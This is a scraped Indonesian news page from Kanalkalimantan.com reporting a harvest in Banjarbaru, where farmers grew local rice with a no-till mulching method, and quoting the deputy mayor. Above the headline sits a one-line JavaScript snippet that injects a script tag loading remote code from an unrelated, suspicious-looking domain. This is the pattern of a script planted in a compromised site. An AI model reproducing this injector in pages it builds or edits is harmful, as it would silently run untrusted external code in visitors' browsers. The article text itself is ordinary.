(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Metode Mulsa Tanpa Olah Tanah, Petani Ibu Kota Panen Raya Padi Lokal


KANALKALIMANTAN.COM, BANJARBARU – Hamparan padi menguning siap panen dimiliki wilayah Kota Banjarbaru. Terletak di pinggiran berbatasan dengan kabupaten tetangga Tanah Laut, lahan pertanian potensial dipunyai ibu kota Provinsi Kalsel yang dalam benak kebanyakan orang hanya dipenuhi permukiman dan komplek.

Potensi tersimpan sektor pertanian ini meski terbilang skala kecil, tapi bisa mencukupi kebutuhan pangan warga secara mandiri.

Kondisi itu dilihat langsung Wakil Wali Kota Banjarbaru Wartono saat menghadiri panen raya dan peninjauan langsung peningkatan produksi padi lokal dengan metode mulsa tanpa olah tanah di Handil Babussalam, Kelurahan Bangkal, Kecamatan Cempaka, Selasa (27/6/2023) siang.

Salah satu petani di Bangkal, Ahmadi menjelaskan metode mulsa tanpa olah tanah merupakan teknik pertanian yang mengandalkan penggunaan lapisan penutup organik pada tanah, seperti jerami, daun, atau rumput kering. “Lapisan ini bertujuan untuk melindungi tanah dari erosi, mempertahankan kelembaban, meningkatkan kesuburan tanah, dan menghambat pertumbuhan gulma,” jelasnya.

Baca juga: Pemilih Pemilu 2024 di Kalsel Lebih 3 Juta Orang, Tersebar di 13.584 TPS

Dalam pelaksanaannya, metode ini meminimalisir atau bahkan menghilangkan penggunaan alat berat untuk mengolah tanah, sehingga dapat mengurangi biaya dan tenaga kerja yang dibutuhkan.

Petani di Kelurahan Bangkal menyebut, dengan menggunakan mulsa tanpa olah tanah, mereka berhasil meningkatkan produktivitas pertanian hingga 30% dibandingkan dengan metode konvensional. “Terbukti dengan hasil 5 ton per hektare dalam masa tanam selama 157 hari,” akunya.

Panen raya padi lokal dengan metode mulsa tanpa olah tanah di Handil Babussalam, Kelurahan Bangkal, Kecamatan Cempaka, Selasa (27/6/2023) siang. Foto: medcenbjb

Selain itu, penggunaan metode ini juga membantu mengurangi erosi tanah dan mengendalikan pertumbuhan gulma, sehingga tanaman padi dapat tumbuh lebih sehat dan optimal.

Salah satu warga Bangkal ini mengungkapkan terima kasih atas perhatian yang diberikan Pemko Banjarbaru khususnya para penyuluh pertanian serta dinas terkait.

“Sebelumnya, kami sering kesulitan menghadapi kerusakan tanah dan gulma yang merusak pertumbuhan tanaman. Namun, dengan menggunakan mulsa tanpa olah tanah, masalah tersebut dapat diatasi, dan hasil panen kami meningkat,” pungkasnya.

Baca juga: Bupati Saidi Mansyur Lantik 521 PPPK Tenaga Guru

Sementara itu, Wawali Banjarbaru Wartono menyambut positif penggunaan metode mulsa tanpa olah tanah sebagai upaya dalam meningkatkan produksi padi.

“Kami sangat mengapresiasi inisiatif penyuluh pertanian dan petani di Handil Babussalam yang menerapkan metode pertanian yang ramah lingkungan dan efisien ini. Dengan memanfaatkan bahan organik yang tersedia di sekitar, para petani telah berhasil mencapai peningkatan produksi padi,” ujarnya.

Penerapan metode mulsa di Handil Babussalam telah menunjukkan hasil yang menggembirakan.

Semoga ini menjadi inspirasi bagi petani lainnya dalam melakukan produksi pertanian.

Pemko Banjarbaru berkomitmen untuk terus mendukung dan memfasilitasi pengembangan metode pertanian inovatif seperti ini.

Wartono akan terus penyebarluasan pengetahuan dan teknologi pertanian kepada petani lainnya di wilayah Banjarbaru.

Dia percaya bahwa metode pertanian yang ramah lingkungan dan efisien seperti mulsa tanpa olah tanah dapat menjadi solusi untuk meningkatkan ketahanan pangan dan mengurangi dampak negatif terhadap lingkungan.

Baca juga: Tak Terbukti Korupsi, 4 Terdakwa Proyek Galangan Kapal Kuin Cerucuk Divonis Bebas

Wartono juga sempat menyinggung soal Perda alih fungsi lahan pertanian di Kota Banjarbaru menjadi salah satu komitmen utama dari pemerintah menjaga lahan pertanian dan perkebunan agar tidak beralih fungsi menjadi lahan lain yang tidak produktif.

Sehingga Banjarbaru akan dapat terus mengembangkan produksi pertanian sesuai dengan Visi Misi Banjarbaru Juara.

“Panen dan peningkatan produksi tanaman padi dengan metode mulsa tanpa olah tanah ini diharapkan dapat menjadi contoh bagi petani lainnya. Penggunaan metode pertanian yang ramah lingkungan memberikan manfaat ekonomi, juga turut berkontribusi dalam menjaga keberlanjutan lingkungan hidup bagi generasi mendatang,” tandasnya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

8 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

9 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

9 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

9 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

9 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

10 jam ago

This website uses cookies.